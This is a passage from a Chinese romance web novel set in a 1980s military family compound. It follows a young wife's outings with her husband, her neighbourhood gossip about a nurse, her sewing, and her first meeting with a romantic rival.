“以前我妈下班后累得不想动,我爸经常给她按摩捏肩。”说行动就行动,周北冀一点也不含糊,双手十分有力地在苗秀秀肩上、背上按摩推拿。
苗秀秀坐起来,抱住他在他脸上啪啪亲了两下,才又躺回去。周北冀心里一阵激荡,很想把她抱在怀里做点什么,但看她绵软无力趴在那里像是快睡着了,终究不忍心,替她盖好毛巾被,悄悄洗漱去了。
这一晚,苗秀秀在周北冀怀里睡得很熟。她有点高兴,又有点不安,除去床上那点事,他俩之间似乎也有了一点感情上的牵绊,只是不知道这对他们来说是好是坏。
上午,周北冀理发回来以后一直在自己书房里看书听音乐,苗秀秀忽然风风火火闯进来,一把拉住他胳膊,把他从躺椅上拖拽起来,又拉着他到客厅里。
不等他反应过来,苗秀秀已经搂住他脖子,往他唇上吻去。周北冀不明就里,余光瞥见家门大敞着,正想抽身去关上门再亲热,哪知道苗秀秀不让他去,非要开着门让人有机会围观他俩接吻。
感觉到有个人影一晃而过,几秒钟之后,周北冀被放开了,苗秀秀蹦跳着跑到门口往外瞧,一脸看好戏的样子。
周北冀好奇地贴在她身后也往外瞧,却只看到方护士一个匆忙的背影,慌慌张张找钥匙,又慌慌张张进家门,像是后面有老虎在追她。
“你在捣什么鬼?”周北冀看到苗秀秀关上门后背贴着门发笑,闹不清楚她到底想干什么。但有一点可以肯定,她刚才是故意敞着门和他接吻,就为了让下夜班路过的方护士能看到。
“气气她,长舌妇。”苗秀秀看着一脸懵逼的丈夫,记仇地说:“整天像个特务似的,咱俩一点风吹草动她就汇报给你姐搬弄是非。”
“我们接吻能气到她?”周北冀没想通媳妇的神逻辑。
苗秀秀笑着解释给他听,“你真是一点都不懂女人的心理,她这么看不惯我,无非就是嫉妒,她觉得王老师古板木讷缺乏情趣,婚姻像一潭死水没有激情,咱俩却整天腻腻歪歪搂搂抱抱,她嫉妒得心理都扭曲了。”
“有吗?她又不是没丈夫,王老师对她那么好。”周北冀还是没想明白这里头有他什么事?难道他们夫妻不和是他造成的?
“我们都觉得王老师挺好的,可有些人身在福中不知福啊,她觉得王老师普普通通,性子太温吞没有男子汉气概,她有几分姿色,又是部队大医院的护士,眼光高着呢,和王老师这种普通男人一起生活委屈了她;你比王老师年轻、比王老师帅、还是干部子弟,她心目中理想的对象是你这样的,而这样的你恰恰娶了农村出身的我,还对我这么好,她心理就更不平衡了,你要是每天揍我一顿、甩脸子不拿正眼看我,她就高兴了。”
苗秀秀看到丈夫一脸恍然的样子,摇了摇头,还以为他很聪明呢,原来也是个大直男,对近在咫尺发生的事情都不知道分析一下原因。
“你的意思是她觉得自己比你强,却没有你嫁得好,所以嫉妒你,以前咱俩关系不好,她也就没关注咱俩,现在咱俩关系好了,就刺激到她了?”
“终于答对了一回。”
“我要是王老师,我一定拿大耳刮子抽她,有她丫这样不知好歹的女人么。”
周北冀替王老师义愤填膺。他最讨厌那些没事在背后嚼老婆舌的女人,他姐跟他说起这件事的时候,他也和他姐杠了两句,让她没事别听这些人乱传闲话,但因为事情牵扯到杨澍,他心里多少有点膈应,思来想去还是没沉得住气,冒雨回家找苗秀秀问话。
“下回有机会我也要找李嫂打听一下方护士的事,知己知彼百战不殆。”苗秀秀爱记仇的毛病两辈子都没改,想好了一定要搞清楚方护士这么变态的原因。
“我看你是闲得慌。”周北冀对这些事不感兴趣,去书房拿羽毛球拍子准备出去找人打球。难得休息一天,他想放松放松。
“我才不咸,我甜得慌。”苗秀秀搂住他手臂,主要要求陪他去打球。
周北冀哧一声笑,也不再问她会不会这种话,对她说:“换一身衣服,下午带你去游泳。”苗秀秀欣然答应,她买过一身运动衣裤,还一回没穿过。
论球技,她只是个业余的,打不过周北冀这样常年锻炼的选手,打两场便输两场,到最后都急眼了,耍无赖让周北冀放水让球,周北冀也是个拗脾气,就不让着她,球拍上下翻飞,把她杀了个落花流水。
苗秀秀累得跌坐在地上,周北冀过来拉她起来,她不动,他便由得她,自己到休息区喝汽水去了。冰镇的北冰洋汽水,喝下去心里倍儿爽,看到媳妇输球赖在地上不起来那悲催样儿,就更爽了。
苗秀秀瞅他一眼,那家伙戴着墨镜、喝着汽水,一脸的邪魅狂狷、幸灾乐祸,活像电影里欺压人民群众的特务和叛徒。
悻悻然从地上站起来,苗秀秀扭着小蛮腰走向周北冀。
周北冀以手托腮、似笑非笑看着她的一举一动,虽然隔着墨镜,但是苗秀秀能感觉到他热辣的目光已经穿透了她身上薄薄的运动衫,眼睛都熬绿了。
拿起桌上的汽水仰脖就喝,苗秀秀一口气喝了大半瓶,喝到心里爽了,才抬手摘掉周北冀鼻梁上的墨镜,戴在自己脸上。
“打个球都这么争强好胜,就不能让让人家。”苗秀秀撒娇地跟他耸耸鼻子。
“输就是输赢就是赢,技不如人就勤加练习。”周北冀不愧是
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个军人,做任何事都讲原则,和自己老婆也要摆事实争道理。
苗秀秀纠正他的错误思想,“可这不是打比赛啊,是咱俩打着玩儿的,你就应该宠着我,我想赢球你就让我赢,我不会打、乱打你也让着我,我不是你手下的小战士,是你老婆,你不该让着我吗?”
“行,下回让着你。”周北冀看着她笑。
下午周北冀提议去游泳,苗秀秀说自己没有游泳衣,要先去服务社买一件,可惜这个年代没有比基尼,不然的话,她一定去买一套,好身材不秀出来太可惜了。
拉着周北冀陪自己去买泳衣,款式都很简单保守,苗秀秀在红色和黑色之间犹豫不决,问周北冀意见。
“红的吧,黑的太暗了。”周北冀随便一指。什么颜色他其实不太在乎,媳妇的身材穿什么颜色都会好看。
游泳池是露天的,避开了午后最热的时候,五点多去正是时候,人不是很多,可以游得畅快一点。
女更衣室,苗秀秀换上泳衣,拿着皮筋把头发扎成清爽的丸子头,从容走出更衣室。
周北冀早已换好泳裤在池子里游了几回,看到苗秀秀过来,扎进水里向着她的方向游过去,等快到泳池边了,才从水里冒头。
一路上苗秀秀凹凸有致的好身材引起无数男人女人行注目礼,心里正得意,周北冀猛然从水里钻出来确实把她吓了一跳,差点失脚滑进池子里。
“下来,我们一起游。”周北冀向苗秀秀招手。苗秀秀跳到水里,被他一下子接住,抱进怀里。媳妇的美貌在八一那晚的舞会上就已经大出风头,这回来游泳,又让他有了群狼环伺的感觉,只得先把她拉进水里。
两人比赛游满五十米,和男人比体力,苗秀秀自然是不行的,尤其是游泳这样耗费大量体力的项目,周北冀一口气游到头,回身一看,苗秀秀才游了一半。
看着媳妇吭哧吭哧费力地游过来,周北冀大笑,揶揄她:“我已经游得很慢等你了,谁知道你还是追不上。”
苗秀秀扑向他,拍打水花溅他一脸,周北冀搂住她腰,让她没事多练练就好了。
游了半小时,苗秀秀就累得再也游不动,坐在泳池边上看着周北冀游。经过近两个月的户外列队训练,他身上早就晒黑了,游泳的时候,长臂舒展,背部肌肉强劲有力,腰和腿的配合也很有力量感,苗秀秀看着他,怎么也看不够他的好身材。
无意中看到王老师和方护士也来游泳,方护士穿着一件款式相当保守的黑色游泳衣,头上戴着泳帽,乍一看都没认出来,还以为是哪里来的老太太,来游泳都恨不得把肩膀遮住。
她的身材也没什么料,说好听一点是苗条,说不好听就是雁京人常说的柴火妞儿,没胸没臀,平板儿。
苗秀秀看了一眼自己的身材,心想,幸亏没穿一套比基尼,不然方护士那个老修女大概又要到周家人面前告状了吧。
40. 第三十九章
王老师不太擅长游泳,摘掉了眼镜视力受影响,小心翼翼下水,划拉了半天也不过游出去五六米。周北冀像一条剑鱼一样从他身旁游过去,他看不清楚,吓得往边上缩了缩,仿佛生怕被水里的奇怪生物碰到,苗秀秀看得直发笑。
“过来休息一下。”苗秀秀叫周北冀。周北冀放慢了速度,游到她身边,从水里钻出来,手臂用力一撑,爬上了岸,和苗秀秀并肩坐着。苗秀秀把手里的汽水给他喝。
把浴巾搭在他背上。苗秀秀下意识去看他背上的熨斗烫伤是不是彻底好了,到底身强力壮恢复快,那片新肉已经长好了,晒得和周围差不多黑。
“歇歇吧,一下子游太猛容易腿抽筋,反正现在天长,我们可以游到七八点再回去,晚饭给你做炸酱面。”苗秀秀昨晚就看出来他馋炸酱面了。
周北冀惬意地喝着汽水,搂着媳妇的腰小声对她说,他看过了,全游泳池这么多女的,没有一个人的身材比得上她。
“流氓,游了这么半天你尽顾着看女人身材了。”
“不看女人难道去看男人?”
苗秀秀笑而不语,和周北冀看女人身材一样,她也早已把来这里游泳的男人看了个遍,他们中的大多数人都是现役军官和士兵,和他们比,他们家周北冀的身材绝对是百里挑一的,修长、有肌肉却又不过分健壮,晒成古铜色皮肤看起来健康又有几分野性。
“你会不会蝶泳?不会我教你。”周北冀把汽水瓶放到边上,问苗秀秀。苗秀秀点了点头,“不会,我就会蛙泳和自由泳。”
两人下水游泳,都说蝶泳是所有泳姿里最难的一种,周北冀教了一个多小时,苗秀秀总算入了点门,但是泳姿还有点僵硬,不像专业运动员那样优美。
体力耗得差不多了,两人回到家里,周北冀一连吃了两大碗炸酱面,直呼过瘾。
窗外不知什么时候又开始下雨,打在树叶上沙沙作响,让夜晚显得格外静谧,苗秀秀答应了杨澍在十天之内出五套演出服设计图,留给她的时间不多了。
周北冀坐在沙发上看电视,电视里演的是郑少秋主演的港剧《楚留香传奇》,里面的女演员个个都很漂亮,尤其是赵雅芝演的苏蓉蓉。
“赵雅芝真漂亮。”周北冀喜欢这种温婉的大家闺秀型。
“有我漂亮吗?”苗秀秀随口问。
“和你不是一个类型。”
“有你女神林青霞漂亮吗?”
“女神?”
“对啊,你不是说过你喜欢林青霞那样的,她的电影你都看过,所以说她是你的女神啊。”苗秀秀也陪着周北冀看过几场林青霞演的电影,绝对美貌面前,审美代沟什么的不存在。苗秀秀上辈子的老爸也特别喜欢林青霞的长相。
“赵雅芝和林青霞都美,你也美。”周北冀听出不妙,赶紧哄媳妇。苗秀秀哧一声笑,低头继续画她的设计图。
看到媳妇一晚上趴在缝纫机上画个不停,周北冀过去拿起图纸瞧了一瞧,“这就是你答应杨澍给文工团设计的演出服?”
“对啊,你觉得怎么样?”
“挺好的,就是看起来很费布料,这裙摆有点夸张。”
“这只是效果图啦,演出服本来就和一般裙子不一样,上舞台的时候灯光一打夸张点才好看。”
苗秀秀自有她的设计理念,也和杨澍初步沟通过,两人都觉得她思路不错。
看她画图画得起劲,周北冀过去把床头边的落地灯拿来放在缝纫机边上,苗秀秀瞬间感觉眼前一亮,抬头看着丈夫,伸臂抱了抱他。周北冀轻抚着她头发。媳妇自从爱上了设计服装,眼睛里的光越来越亮了。
第二天一早,周北冀早早就离开家返回学校,苗秀秀睡到日上三竿才起床,打算中午到食堂去将就一顿。
下楼看到李嫂坐在家门口择菜,苗秀秀灵机一动,返回家里拿了一罐没开封的麦乳精下楼,走到李嫂身边主动说:“嫂子,我婆婆前几天拿了两罐麦乳精给我,小周不在家,我一个人喝不了,给您带一罐。”
虽然只是小恩小惠,李嫂却很高兴,擦擦手接过麦乳精,招呼苗秀秀进屋坐坐。虽然她和丈夫都有工作,但是除了两个大人还要养三个孩子,甚至每个月还要寄钱给远在乡下老家的婆婆,日子过得不算富裕,根本没有闲钱给孩子买麦乳精增加营养,因此每次苗秀秀送东西给她,她都来者不拒。
“不用进屋了,我陪您在门口坐坐。”苗秀秀搬了个板凳坐下,看到李嫂面前的簸箕里是韭菜,主动帮她理韭菜,问:“中午包饺子啊?”
“我们家大人小孩都爱吃馅儿,每星期都要包一回给他们吃,回头我多包点,你也留下来吃,小周不在家,你一个人也不值当做饭。”李嫂热情地说。
苗秀秀笑着推辞,“您太客气了,我去食堂吃就行,小周给我好多饭票,我都吃不完。”
“你们家小周对你真不错。”
“是挺好的,什么都舍得给我买。”苗秀秀在人前总是夸奖周北冀,话锋一转,“就是我婆婆和大姑子有点烦人,我们俩有一点风吹草动,就会有人告诉她们。”
“这院子里人多嘴杂,好事的人也多。你婆婆和大姑子都是知识分子,心眼才多,你要小心应付。”李嫂没什么文化,一向心直口快,对知识分子安那些弯弯绕绕的心思最是看不惯,觉得她们说话做事五迷三道的,一点也不局气。
“谁说不是呢,前几天我和小周……我俩在家亲嘴都被人告诉了我大姑子,大姑子打电话给小周,把我们训了一顿,您说这叫什么事啊,俩口子在自己家里亲嘴碍着谁了。”苗秀秀提起这件事满脸委屈。
李嫂哈哈一笑,“我跟你说,这事儿准是王大洲他老婆看到了告诉你大姑姐的,她俩在一个单位,两人关系好着呢。王大洲也是怂,连
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个老婆都治不了,上回还被赶出家门,丢人丢到家。”
苗秀秀帮王老师说话,“王老师人挺好的,心肠好、对谁也都很客气,就是方护士那个人阴不阴阳不阳的,见人不是阴阳怪气就是爱答不理,要是还搬弄是非就更令人讨厌了。”
“王大洲人倒是不错,就是性子太软,一个大男人,还是人民教师,怎么能任由老婆随便摆布他。我跟你说——”李嫂凑近苗秀秀,像所有在背后嚼舌头的妇女一样,压低了声音:“他这个老婆,听说还是个二手货。”
“什么意思?方护士离过婚?”苗秀秀有点不敢相信,照理说方护士三十不到年纪,应该是头婚才对。
“那倒不是,她和前头那个人根本就没结过婚,听说她被人家甩了的时候,肚子都大了,结果对方还是一走了之,她一气之下打了胎,这才会伤了身子,结婚后也不和她男人做那事。”李嫂脸上露出点鄙夷的神色。
“还有这事?”苗秀秀故意惊呼,这就能合理解释为什么方护士性冷淡,而又那么看不惯她和周北冀如胶似漆了,羡慕嫉妒恨足以让一个女人疯狂。
李嫂警觉地瞅了瞅四周,见左邻右舍门户紧闭,料想不会有人听到她说话,才又继续告诉苗秀秀,“年轻轻的大姑娘不自爱,看中男方父亲是部队首长,没结婚就跟人家做了那事,结果男方家里瞧不上她只是个护士,坚决不同意她嫁过去,那男的听家里人的话,就和她断了。”
敢情王老师是个接盘侠,苗秀秀心里顿时替王老师不值,说:“那她这样还要嫁给人家王老师,不是害人嘛,生不生小孩倒是其次,结了婚不跟人家过夫妻生活,那还不如不结婚。”
李嫂叹了口气,“谁说不是呢,她家里那时候也是急了,到处托人给她介绍对象,她还挑呢,没文化没工作的不要,干体力活儿的糙老爷们儿也不要,挑来挑去选中了王老师。王老师也是可怜,人老实,老家又是河北乡下的,听说家里特别穷,揭不开锅那种,城里有工作的漂亮姑娘愿意嫁给他,还不要他出彩礼,他也就没打听,以为捡到一块宝。”
“是挺可怜的。”苗秀秀心里对王老师无比同情,“虽然说谈恋爱处朋友是个人隐私,也没规定说吹了不许再找,可方护士这件事性质不一样,有点骗婚的性质。”
难怪方护士和周湘南关系好,这两个女人都在婚姻上不太顺利,而且都为第一个男人流产过,大概率比较有共同语言,方护士会主动打小报告,有她心理阴暗的一面,更重要的恐怕还是周湘南交代过,弟弟家让她多盯着点。
比起周中中那种一点就着的炮仗脾气,周湘南深沉内敛多了,出于对弟弟的爱,她严密关注着他的婚后生活,随时向母亲沈芬玉汇报,所以原主之前和周家人怎么都处不好,不是没有原因的。
婚姻里有了爱搬弄是非的长舌妇和横挑鼻子竖挑眼的婆家人,怎么可能过得顺当。
41. 第四十章
苗秀秀暗自庆幸,幸亏自己多长个心眼找李嫂打听打听,不然被人生吞活剥了都不知道。某些人是多见不得她过得好啊,她稍微和周北冀亲热了一点,就被人打了小报告。
理好了韭菜,李嫂进屋洗干净手,剁碎了韭菜放到之前剁好的肉馅里,打上两个鸡蛋,搅拌均匀了,用纱布先盖上,开始揉面。
手里干着活,嘴上也没闲着,李嫂说:“秀啊,嫂子是过来人,有句话早就想提醒你了,你得把你家小周看紧一点,不说周家的背景,就说小周的模样性情,太招人了,不光是文工团那个姓夏的小骚狐狸,军区机关里也有好几个小姑娘喜欢他。”
“是吗?”苗秀秀努力回想,她和周北冀的婚礼上,似乎有个穿粉色衬衣绿军裤的姑娘喝酒喝哭了,当时没觉得有什么,现在想来怕是不单纯。
“是不是有个叫什么小楠的?”苗秀秀怎么也想不起那姑娘的长相,只记得周北冀那天这么叫过她,宾客太多人声嘈杂,她也没怎么听清楚。
“吉小楠,宣传部的通讯干事,就数她追小周追得凶,我听张红梅说,她还为了争风吃醋和夏文竹打过一架,小周为这件事好几个月没理她,当时我们都以为小周肯定要和夏文竹结婚的,哪知道他结婚是结婚了,娶的却是你。”
话说到这个份上,李嫂也就不再有所避讳。苗秀秀笑了一笑,“没想到他还挺抢手的,都有姑娘为他打架了。”
“你可不知道,咱们院儿里这些小姑娘开放着呢,个顶个的有本事。小周个子高,模样儿长得也俊,对人冷冷地,都说他气质特别像日本电影里的高仓健。”李嫂和这个时代很多女性一样,特别迷恋电影里的硬汉高仓健。
“他像高仓健?哪儿像了,一点都不像。”苗秀秀怎么也没办法把周北冀和高仓健联系起来。
高仓健老大爷人家是真酷真硬汉,周北冀顶多算是公子哥儿的拽,眼睛长在头顶上那种Bking气质,私下里在她面前就连Bking都算不上了,要多狗有多狗,就差摇尾巴。
“不管像不像,反正小周挺招小姑娘喜欢,你多留意点准没错。”
李嫂揉了面,捏成细长条,切成一个一个剂子,用擀面杖压平了擀成饺子皮。苗秀秀洗干净手,勤快地帮她包饺子。
想起什么,李嫂眉开眼笑,“你和小周,大白天还亲嘴哪?不然怎么会让方护士瞅见?”在她的认知里,夫妻俩再想亲热也都是等到晚上关了灯,大白天亲嘴还被人看到,多少有点那个。
苗秀秀忸怩了一下,“他这些天每天都在学校为国庆阅兵的事训练,难得回来一次,刚好那天他回来住了一晚,早上走的时候就在门口亲了我一下,没想到被方护士给看到了。”
“到底是新婚不到一年的小夫妻啊,感情真好,大白天的还亲嘴,我们家那口子就不好意思,当年我刚和他处对象那会儿,他害羞着呢,路上没人他都不敢亲我,非得躲到小树林里才敢亲那么一下,第一回钻小树林的时候,天太黑什么都看不清,他还踩了一脚狗屎。”李嫂大大咧咧地诉说往事,没心没肺地大笑。
苗秀秀也笑,想想这个民风保守的年代,人们谈恋爱的时候也挺有趣,出格的总归是少数,大多数人都很淳朴,没那么多花花肠子,感情也不容易掺杂别的因素。
“嫂子,什么时候您老乡进城卖菜的时候有嫩韭菜了,告诉我一声,我家小周也喜欢吃带馅儿的,我想给他包韭菜盒子吃。”
“这就对了,男人都是这样,好吃好喝供着,养成了习惯,就不怕他翻出你手心。”
中午,李嫂死活要留苗秀秀吃饭,苗秀秀推辞不过,只好在她家吃了一顿饺子。
回到家里以后,她想起来之前买给婆婆的大衣毛料还没开始动工,赶忙从柜子里翻了出来,准备赶几天工做出来,给婆婆送过去。
大衣的款式设计难不倒她,难的是剪裁和做工都要万分留意,婆婆是个挑剔人,也穿惯了好衣服,针脚稍微有点不好她都能看出来,为此,苗秀秀花了四五天时间,一针一线缝制,总算把大衣给做了出来。
周家,苗秀秀把做好的大衣送到婆婆沈芬玉面前。沈芬玉早就忘了这档子事,等苗秀秀把大衣从手提袋里拿出来抖了抖,她穿在身上对着镜子比量,才发现大衣无论是款式还是做工都是一流的。
“真想不到,你还有这样的手艺,难怪我听说好多人找你裁衣服,手真巧。”沈芬玉照着镜子,越看越满意,尤其是腰带,扎起来以后特别提气质。
“我也是跟着电视里学慢慢练的,您不嫌我手艺差就行。”苗秀秀谦虚地说。在这个精明的婆婆面前,她得十二分小心。
“上回你说还要给你爸做一套毛料中山装,还没做好吧?”沈芬玉自己有了新衣服,也没忘记老伴儿。
苗秀秀解释,“爸爸的还没做好呢,我这些天接了一大宗急活儿,都是找我做裙子的,我想着现在天还热,离穿毛料还有些时间,就没急着给爸爸做,等我忙过这阵子,再好好替爸爸做中山装。”
“你有点事情做也好,免得整天待在家里无所事事,但这也不是开店,时间上还是要掌握分寸,既然小北替你报了夜校,好好学习才是你第一要务,将来考个成高文凭,既提升了自己,说出去也好听。”
沈芬玉并不知道儿媳妇有开店当个体户的打算,她还想着,等苗秀秀参加过成人高考,不管是拿个中专还是大专文凭,他家都能托关系给她找个工作,周家这样的人家,儿媳妇没文化不工作,说出去还是不大体面。
苗秀秀哦了一声,周北冀还没替她找好店面,等找好了店开起来了,再先斩后奏也不迟。反正她只要拿定了主意要做什么事,就没有人能阻止她,周北冀不能,周家人就更不能了。
周明康下班回家,看到老伴穿着崭新的大衣,还非要让他给个评价,只得说:“好看
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,你穿什么都好看都洋气。”
“你一定想不到,这件大衣是秀秀做的,我这没想到这孩子裁剪手艺这么好,难怪小南上回也夸她做的衬衣好看。”沈芬玉很少表扬小儿媳,但是大衣实在让她满意,心情一好,对溢美之词就不吝啬了。
周明康戴上老花镜,仔细看了一看,说:“我早就说,秀秀这孩子内秀,你还非不信,说她学历低没见识,我看她不是没见识,只是缺少给她发挥的机会。”
“那也是小北给她的机会,送她上夜校,还替她办图书馆的借书卡,让她业余时间多看书学习,这不,效果立刻就来了。”沈芬玉任何时候都不忘记夸她的宝贝儿子。
“小北最近这段时间稳重多了,早早结婚对他还是有好处的,之前一直不定性,有了媳妇以后心也渐渐定了下来。”
周明康很是欣慰。当初这门婚事他虽然很坚定要做成,内心深处却也在打鼓,怕娇生惯养的小儿子和人家姑娘处不好,亏待了老战友的小闺女,舐犊情深,也怕儿子受了委屈心情不好影响事业发展,现在看来那小子还是继承了他的优点,不管处在什么样的环境,都能很快适应。
“谁说不是呢,没想到秀秀之前不显山不露水的,倒真是心灵手巧,等她读夜校出来考出个文凭,你得想想办法给她找份好一点的工作,咱家的儿媳妇,没工作整天闲在家里也不是个事。”沈芬玉和老伴儿商量。
周明康点了点头,说看苗秀秀能不能考到文凭再说,反正夜校得学两三年,文凭拿到了再安排以后的事也不迟。
“对了,秀秀还拿来一盒她自己做的韭菜盒子,你吃几个尝尝。”沈芬玉不太喜欢吃韭菜,觉得吃了嘴里会有味道,但是老伴儿喜欢吃韭菜馅儿。
周明康吃了几个韭菜盒子,对苗秀秀的手艺赞不绝口,一个人几乎把一饭盒的韭菜盒子全吃完了,对沈芬玉说:“大概是老没吃了,这韭菜盒子怎么这么好吃?”
沈芬玉笑,“好吃你全吃了吧,不用给我留,你呀,对小儿媳妇越来越偏心了,不过包几个韭菜盒子,你就夸上天,上回大儿媳妇送了十几个自己包的豆沙包过来,你吃了也没这样夸。”
“豆沙包是好,但是甜口的你们南方人吃得惯,我北方人还是喜欢咸口,真的特别好吃,老伴儿你尝一个就知道。”周明康把最后一个韭菜盒子拿给沈芬玉,结婚多年,他有什么好东西都喜欢和妻子分享。
沈芬玉见丈夫情意殷殷,只得接过他递来的韭菜盒子,咬了一口,韭菜的咸鲜滋味顿时溢满口腔,她忍不住又吃了一口,盒子馅儿的味道不咸不淡调得恰到好处,韭菜也是鲜嫩爽口。
“好吃,早知道就让你多留两个给我了。”沈芬玉吃上瘾,可惜只剩最后一个。
苗秀秀从周家出来,紧跟着又去了军区机关大楼,杨澍工作的政治部就在这栋楼里,吉小楠应该也在这里工作,她有心想看看那姑娘长什么样。
42. 第四十一章
机关大楼要进去可不是那么容易,门口的警卫把苗秀秀拦住不让进,苗秀秀拿不出证件,只能说自己是来找政治部杨干事的。
“找杨干事?您是他什么人?”警卫好奇又警觉地看着苗秀秀。大概来找过杨干事的女人太多,警卫有点不放心,怕她闹什么妖儿。
“我是住在家属区的军人家属,之前给文工团做过一件演出服,杨干事觉得我做得不错,找我想再做几件,我给他送演出服图纸过来。”苗秀秀一点也没隐瞒。
机关的警卫可都是扛着枪的,不老实交代人家不会放她一个陌生人进机关。
“您是谁的家属?”警卫见她连个证件都没有,不盘查清楚始终不放心。
“周北冀是我爱人。”苗秀秀心想,周北冀在军区大院应该挺有名的吧,报他的名字应该没错。
果然,警卫的表情松动了,显然也是听说过周参谋长家那个在战场上立过二等功、鼎鼎有名的小儿子。
“小袁,放她进去吧,周北冀媳妇儿,你拦她,回头周北冀来找你算账。”边上路过一个军官,听到苗秀秀自报家门,和警卫开玩笑。
警卫小袁脸都红了,放苗秀秀进大楼,告诉她,杨干事在六楼政治部三号办公室。
办公室的门虚掩着,依稀能听到室内传出来人声,苗秀秀走到门口敲了敲门,半天没有人应,加重点力气去敲,几秒钟之后门开了。
来开门的是一个瘦高白净的军官,鼻梁上架着副金丝框眼镜。大概是办公室里常年也来不了几个女性,军官很好奇地把苗秀秀上下打量一番,眼蕴笑意。
“您找谁?”
“找……找杨干事。”
不知道是机关大楼里的气氛太过压抑,还是一屋子的男人都虎视眈眈看向自己,苗秀秀提到杨干事的时候磕巴了一下。
“哪个杨干事,我们这里有两个杨干事,隔壁办公室还有一个姓杨的。”
“杨澍。”
一听到找杨澍,室内的几个军官忽然发出了会心的笑声,虽然他们这里一年到头来不了几个女的,但每次有女的来,必然是找杨澍。
“他在接电话,你等一下。”军官眼角瞥了身后一眼,又转头问苗秀秀:“你是他什么人?”
“我是——”苗秀秀顿了顿,察觉出这军官是有意调侃她,故意说:“他嫂子。”
“杨澍,你嫂子来找你,没听说你有哥啊,哪来的嫂子?”
不知是哪个好事者用调侃的语气叫了杨澍一声。
视线在室内转了一圈,苗秀秀的目光定格在某个人的背影,只有他一个人在打电话,也只有他一个人背对着门半坐在桌子上,不在意众人的调侃,也不理会有人在门口等着,只管打他的电话。
那一定就是杨澍,虽然只见过两面,苗秀秀对他身上那种吊儿郎当的气质印象却很深。他有着一种不属于这个时代的超然,让他很与众不同。
杨澍终于打完了电话,在众人暧昧的嬉笑声中,他一边走过来,一边淡定地把原本披在身上的军装穿起来,吃惊地打量着苗秀秀,似乎压根就没想到来找他的人会是她。
不想给同事听到他俩对话,他出门的时候悄悄把门带上,苗秀秀便也跟着他站在走廊上。
“这么快就画好了设计图?”
“还差一点,想修改又不知道改哪里合适,所以送过来给你看看,听听你的意见。”苗秀秀觉得杨澍的审美应该很不错。
“那你给我打个电话就行,怎么好意思劳你大驾亲自来送图纸,应该我登门拜访才是。”杨澍客气地笑着。
妖孽就是妖孽,面对别人的老婆,眉眼间那种淡淡的笑意依然勾魂摄魄。
苗秀秀把一卷图纸交给杨澍,杨澍展开图看看,目光渐渐变得惊喜,“不错,就是我想要的款式,图纸能不能先留在我这里,我回去好好研究一下再还给你。”
“那你一定要给我提点意见,我总觉得差了点什么。”苗秀秀假意咳了一声,故作不经意问他,“你们在六楼,宣传部在几楼啊?”
杨澍听到宣传部三个字,眼中狡黠的笑意更深,“找吉小楠啊?用不用我带你去?”“不用,你告诉我她在几楼,哪个办公室就行。”苗秀秀才不信给这个唯恐天下不乱的家伙看热闹的机会。
“你挺厉害的嘛,都找到这儿来了。”杨澍眼看着苗秀秀要走,跟上她,“我劝你三思,你这一去,开弓没有回头箭。”
“你当我是去找她闹啊?我只是想看看她长什么样儿。”
“别看了,没你长得好看。”
杨澍送苗秀秀下楼,和一个穿军装的短发女孩迎面遇上,杨澍看到女孩就笑,“小楠,我正要找你呢。”
苗秀秀哪里想到会这么快就会遇到吉小楠,表情很不自然地看了吉小楠一眼,她长得很漂亮,人苗条,脸也白白净净。
吉小楠看到杨澍还没什么,看清楚杨澍身边的人,脸色一下子就变了。苗秀秀猜测这姑娘怕是认出了自己,也是啊,恨得牙痒痒的情敌那还不是化成灰都记得。
连带着对杨澍也不待见起来,吉小楠用眼角的余光瞥过苗秀秀以后,高昂着头看向杨澍,态度倨傲又冷淡,“找我什么事?”
“我们过几天下基层演出,想请你帮忙出一篇通讯稿,到时候我提供照片给你。”杨澍心说,我招你惹你了,嫉妒周北冀他媳妇比你漂亮,也不至于拿鼻孔对着我说话。
“行。等你们演出过了,把材料给我。”吉小楠看到杨澍始终微笑,也不好再拉着一张脸。怎么说人家也是领导家的公子,又是全机关有名的万人迷,不能太不给面子。
苗秀秀垂着眼眸站在一旁,觉得自己这一趟跑来纯属多此一举,能在人家婚礼上喝醉了发酒疯的人,指望她有多少风度涵养?还是夏文竹手段高一点,人虽然不去,却送了份厚礼,让周北冀婚前婚后都没忘记她。
想到夏文竹送的那两块真丝被面,苗秀秀突发奇想,放着也是放着,还不如做成两件旗袍穿穿,反正那两块被面决不能沾到周北冀一星半点。
“杨干事,你忙你的,我先走了。”苗秀秀没有再看吉小楠第二眼,径自离去。吉小楠倒是失神地看了她好一会儿。
一抬眼看到杨澍似笑非笑的表情,
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吉小楠翻了个白眼,“你笑什么笑?”
“小姑奶奶,我笑也碍着你了?哪条法律规定我不能笑?”杨澍回身上楼。
吉小楠跟上他,忍不住向他打听,“你怎么会认识周北冀的乡下老婆?听说你上回还跟她跳舞了。”
“你听说的还不少。”杨澍冷笑一声,“我就是上回跳舞的时候跟她认识的。她探戈跳得不错,说明周北冀平常没少教她。”
“听说她……之前周北冀差点跟她离婚了,不知道她后来用了什么手段……看着像个狐狸精。”吉小楠怎么也想不明白,明明周北冀之前很不待见他的乡下老婆,还和家里闹了两个多月,结婚后长期感情不和,怎么说好就好起来了?
那个女人,除了胸脯高点,别的地方看起来也没什么特别啊。
杨澍看着她,有点严肃地提醒,“小楠,你也是个有好几年军龄党龄的老战士了,又是在机关工作,怎么能和外面那些没文化的女人一样乱嚼舌头,说话注意点影响。”
吉小楠没好气哼了一声,一拳砸在杨澍背上。别人说这话也就罢了,他平常最是口无遮拦的,他忽然说这样的话未免可笑。
杨澍冷不丁挨了她一顿爆捶,正想说点什么,却见她兔子一样跑了,只得不做声,回办公室去了。
苗秀秀回家给周北冀打电话,问他能不能抽空回家来一趟,自己知道他爱吃带馅儿的,做了好多韭菜盒子。
“不行啊,离阅兵就还剩一个月了,我们这些天是全封闭训练,我出不去。”周北冀也很想吃韭菜盒子,但学校早就紧闭大门,苍蝇都飞不出去。
“那我给你送到学校去总行了吧,送完了正好我去夜校上课。”
“也行,你来吧,我想办法带你进来。”
“训练这么苦,你身体怎么样?吃得消吗?”
“吃得消倒是吃得消,就是踢腿走正步一天好几个小时,我的膝盖都快练废了。”周北冀可算找到机会和媳妇儿抱怨。
“啊,真的?那怎么行呢,你没去看看医生啊?”
见媳妇信以为真,周北冀也就不再逗她,笑着说:“我哄你玩儿,你别当真,你要来就早点来,咱俩还能多待一会儿。”
苗秀秀装了一饭盒韭菜盒子,骑车去陆军学院看望丈夫。周北冀早就站在门口等她,看到她骑车过来,等她停好了车,搂着她的腰带她进校园里。
